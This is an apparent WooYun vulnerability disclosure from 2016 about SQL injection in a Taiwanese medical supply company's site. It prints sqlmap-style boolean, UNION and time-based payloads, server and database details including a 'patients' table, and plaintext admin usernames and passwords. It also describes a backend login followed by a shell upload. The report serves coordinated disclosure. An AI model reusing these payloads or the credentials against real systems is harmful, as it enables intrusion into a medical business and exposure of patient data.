当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169148

漏洞标题:臺灣醫澤實業有限公司sql注入(大量數據洩漏)可getshell(臺灣地區)

相关厂商:臺灣醫澤實業有限公司

漏洞作者: r1cky_ph3

提交时间:2016-01-13 12:02

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-14: 厂商已经确认,细节仅向厂商公开
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-02-03: 细节向普通白帽子公开
2016-02-13: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

臺灣醫澤實業有限公司存在sql注入,大量用戶數據洩漏

详细说明:

臺灣醫澤實業有限公司:**.**.**.**
注入點:**.**.**.**/news_details.php?id=47

漏洞证明:

注入點:**.**.**.**/news_details.php?id=47,結果如下

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=47 AND 4681=4681
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: id=-8225 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7176757671,0
x48414d58485059537846,0x71676f6771),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=47 AND SLEEP(5)
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5.0.11


數據庫名

available databases [2]:
[*] information_schema
[*] meditech


錶名

Database: information_schema
[16 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: meditech
[13 tables]
+--------------+
| user |
| admin |
| dangev |
| faq |
| fluid |
| login_log |
| medinews |
| message |
| patients |
| sendpdf |
| sendpdfserum |
| serum |
| serumv |
+--------------+


跑admin錶,得到後臺帳號密碼,進入後臺

Database: meditech
Table: admin
[4 entries]
+-----------+----------+
| adminname | password |
+-----------+----------+
| meditech | 28831673 |
| admin2 | 303517 |
| admin3 | 80652236 |
| cathay | cathay |
+-----------+----------+


后台上传.jpg


shell如圖:

shell.jpg


修复方案:

過濾

版权声明:转载请注明来源 r1cky_ph3@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-01-14 03:35

厂商回复:

感謝通報

最新状态:

暂无


漏洞评价:

评价